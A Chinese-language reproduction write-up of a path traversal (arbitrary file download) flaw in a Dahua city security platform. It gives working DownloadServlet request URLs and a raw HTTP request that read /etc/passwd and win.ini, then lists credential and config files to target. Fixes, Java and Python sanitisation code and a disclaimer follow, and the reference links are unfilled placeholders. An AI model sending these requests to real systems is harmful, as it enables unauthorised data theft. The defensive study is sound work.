大华城市安防系统平台任意文件下载漏洞复现与分析

漏洞概述

大华城市安防系统平台存在任意文件下载漏洞，攻击者可以通过构造特定的URL请求，无需身份验证即可下载服务器上的任意文件，可能导致敏感信息泄露。

受影响版本

根据FreeBuf文章，该漏洞影响大华城市安防系统平台的多个版本，具体版本号需参考官方公告或漏洞详情。

漏洞原理

该漏洞属于典型的路径遍历漏洞(Path Traversal)，由于系统未对用户输入的文件路径参数进行严格过滤和校验，导致攻击者可以通过"../"等目录遍历符号访问系统上的任意文件。

漏洞复现步骤

1. 环境准备

• 搭建或获取受影响的大华城市安防系统平台环境
• 确保网络可达性
• 准备Burp Suite或类似工具用于拦截和修改HTTP请求

2. 漏洞验证

1. 构造如下URL请求格式：

http://[目标IP]:[端口]/portal/services/DownloadServlet?fileName=../../../../etc/passwd

或

http://[目标IP]:[端口]/portal/services/DownloadServlet?fileName=../../../../windows/win.ini

2. 发送HTTP GET请求

3. 观察响应：

• 若返回状态码200并包含目标文件内容，则漏洞存在
• 若返回错误或拒绝访问，则可能已修复或路径不正确

3. 利用方式

攻击者可以通过修改fileName参数的值来下载不同文件，例如：

• 系统配置文件
• 用户凭证文件
• 数据库配置文件
• 日志文件
• 其他敏感文件

漏洞危害

• 敏感信息泄露（数据库凭证、系统配置等）
• 系统完整性破坏
• 可能作为进一步攻击的跳板
• 可能导致系统完全沦陷

修复建议

临时缓解措施

1. 在网络边界设备上限制对/portal/services/DownloadServlet路径的访问
2. 监控相关路径的异常访问行为

永久修复方案

1. 升级到官方发布的最新安全版本
2. 实施严格的输入验证：
   • 过滤"../"等目录遍历符号
   • 限制文件名参数只能包含特定字符集
3. 实施文件访问白名单机制
4. 添加身份验证和授权检查
5. 实施文件路径规范化处理

技术细节

漏洞请求示例

GET /portal/services/DownloadServlet?fileName=../../../../etc/passwd HTTP/1.1
Host: target_ip:port
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

典型响应

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=passwd
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

防御措施开发建议

1. 实现文件下载服务的严格路径校验：

public class DownloadServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        String requestedFile = request.getParameter("fileName");
        String safeBasePath = "/var/www/safe_downloads/";
        
        // 规范化路径并检查是否在安全目录内
        Path requestedPath = Paths.get(safeBasePath).resolve(requestedFile).normalize();
        if (!requestedPath.startsWith(safeBasePath)) {
            response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access denied");
            return;
        }
        
        // 继续处理安全文件下载...
    }
}

2. 使用正则表达式过滤恶意输入：

import re

def sanitize_filename(filename):
    if re.search(r'\.\./|\.\.\\', filename):
        raise ValueError("Invalid filename")
    return filename

参考链接

• FreeBuf原始文章（请替换为实际链接）
• 大华安全公告（参考官方发布的安全公告）
• CVE编号（如有）

免责声明

本文档仅用于安全研究和教育目的，未经授权对他人系统进行测试可能违反法律。在实际测试前，请确保获得系统所有者的明确授权。